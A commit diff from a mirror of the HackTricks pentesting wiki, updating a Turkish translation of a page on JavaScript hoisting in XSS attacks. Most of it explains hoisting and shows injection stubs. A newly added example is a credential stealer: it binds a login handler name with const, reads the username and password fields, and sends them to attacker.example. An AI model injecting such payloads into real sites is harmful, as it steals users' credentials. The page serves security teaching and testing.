mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',
This commit is contained in:
parent
0a42fee994
commit
02955f5b6e
File diff suppressed because it is too large
Load Diff
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Temel Bilgi
|
||||
|
||||
JavaScript dilinde, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği bir mekanizma olarak **Hoisting** tanımlanır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, scripti birden fazla geçişte inceler.
|
||||
JavaScript dilinde, değişkenlerin, fonksiyonların, class'ların veya imports'ın bildirimlerinin kod çalıştırılmadan önce kapsamlarının başına kavramsal olarak taşındığı **Hoisting** adlı bir mekanizma vardır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir; motor script'i birden fazla geçişte işler.
|
||||
|
||||
İlk geçişte, motor kodu sözdizimi hatalarını kontrol etmek için ayrıştırır ve onu soyut sözdizim ağacına dönüştürür. Bu aşama, belirli bildirimlerin yürütme bağlamının en üstüne taşındığı hoisting işlemini içerir. Ayrıştırma aşaması başarılı olursa, yani sözdizimi hatası yoksa, scriptin yürütülmesine devam edilir.
|
||||
İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir abstract syntax tree'ye dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir işlemdir. Parse aşaması başarılı ve sözdizimi hatası yoksa script'in yürütülmesine devam edilir.
|
||||
|
||||
Anlamak önemlidir ki:
|
||||
Anlaşılması kritik olan noktalar:
|
||||
|
||||
1. Scriptin yürütülmesi için sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır.
|
||||
2. Script içindeki kodun yerleşimi, hoisting nedeniyle yürütmeyi etkiler, ancak yürütülen kodun metinsel temsili farklı olabilir.
|
||||
1. Yürütmenin gerçekleşmesi için script'in sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına sıkı şekilde uyulmalıdır.
|
||||
2. Kodun script içindeki yerleşimi, hoisting nedeniyle yürütmeyi etkiler; çalıştırılan kod metinsel gösteriminden farklı olabilir.
|
||||
|
||||
#### Hoisting Türleri
|
||||
#### Types of Hoisting
|
||||
|
||||
MDN'den alınan bilgilere dayanarak, JavaScript'te dört farklı hoisting türü vardır:
|
||||
MDN'den elde edilen bilgilere dayanarak, JavaScript'te dört ayrı hoisting türü vardır:
|
||||
|
||||
1. **Değer Hoisting**: Bir değişkenin değerinin, bildirim satırından önce kapsamı içinde kullanılmasına olanak tanır.
|
||||
2. **Bildirim Hoisting**: Bir değişkenin, bildiriminden önce kapsamı içinde referans alınmasına izin verir, bu da `ReferenceError` oluşturmaz, ancak değişkenin değeri `undefined` olacaktır.
|
||||
3. Bu tür, değişkenin gerçek bildirim satırından önceki bildirimine bağlı olarak kapsam içindeki davranışı değiştirir.
|
||||
4. Bildirimin yan etkileri, içeren diğer kodun değerlendirilmesinden önce gerçekleşir.
|
||||
1. **Value Hoisting**: Bir değişkenin bildirim satırından önce kapsamı içinde değerinin kullanılmasına olanak tanır.
|
||||
2. **Declaration Hoisting**: Bir değişkenin bildiriminden önce kapsamı içinde referans verilmesine izin verir; `ReferenceError` oluşmaz ancak değişkenin değeri `undefined` olacaktır.
|
||||
3. Bu tür, değişkenin gerçek bildirim satırından önce bildirilmesi nedeniyle kapsam içindeki davranışı değiştirir.
|
||||
4. Deklarasyonun yan etkileri, onu içeren diğer kod değerlendirilmeden önce gerçekleşir.
|
||||
|
||||
Detaylı olarak, fonksiyon bildirimleri tür 1 hoisting davranışı sergiler. `var` anahtar kelimesi tür 2 davranışını gösterir. `let`, `const` ve `class` gibi sözcüksel bildirimler tür 3 davranışını sergiler. Son olarak, `import` ifadeleri, hem tür 1 hem de tür 4 davranışları ile hoisted olan benzersiz bir yapıya sahiptir.
|
||||
Detaylandırmak gerekirse, function bildirimleri type 1 hoisting davranışı gösterir. `var` anahtar kelimesi type 2 davranışı sergiler. `let`, `const` ve `class`'ı içeren lexical deklarasyonlar type 3 davranışını gösterir. Son olarak, `import` ifadeleri hem type 1 hem de type 4 davranışlarıyla hoist edilir.
|
||||
|
||||
## Senaryolar
|
||||
|
||||
Bu nedenle, **Tanımsız bir nesne** kullanıldıktan sonra **JS kodu enjekte edebileceğiniz** senaryolarınız varsa, onu bildirerek **sözdizimini düzeltebilirsiniz** (böylece kodunuz bir hata fırlatmak yerine yürütülür):
|
||||
Dolayısıyla, eğer bir undeclared object kullanıldıktan sonra **Inject JS code after an undeclared object** yapabileceğiniz senaryolarınız varsa, sözdizimini onu bildirerek **fix the syntax** yapabilirsiniz (böylece hata fırlatmak yerine kodunuz çalıştırılır):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -68,7 +68,7 @@ alert(1);
|
||||
test.cookie("leo", "INJECTION")
|
||||
test[("cookie", "injection")]
|
||||
```
|
||||
## Daha Fazla Senaryo
|
||||
## Diğer Senaryolar
|
||||
```javascript
|
||||
// Undeclared var accessing to an undeclared method
|
||||
x.y(1,INJECTION)
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### const ile bir adı kilitleyerek sonraki bildirimleri önleyin
|
||||
|
||||
Eğer üst düzey (top-level) `function foo(){...}` ayrıştırılmadan önce çalıştırma şansınız varsa, aynı isimle bir leksikal bağlama (ör. `const foo = ...`) tanımlamak, sonraki fonksiyon bildiriminin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları RXSS ile hijack etmek için kötüye kullanılabilir:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Notlar
|
||||
- Bu, yürütme sırasına ve global (üst seviye) kapsamına bağlıdır.
|
||||
- Eğer payload'unuz `eval()` içinde çalıştırılıyorsa, `eval` içindeki `const/let`'in blok kapsamlı (block-scoped) olduğunu ve global bağlamlar oluşturmayacağını unutmayın. Gerçek bir global `const` oluşturmak için kodu içeren yeni bir `<script>` elementi enjekte edin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user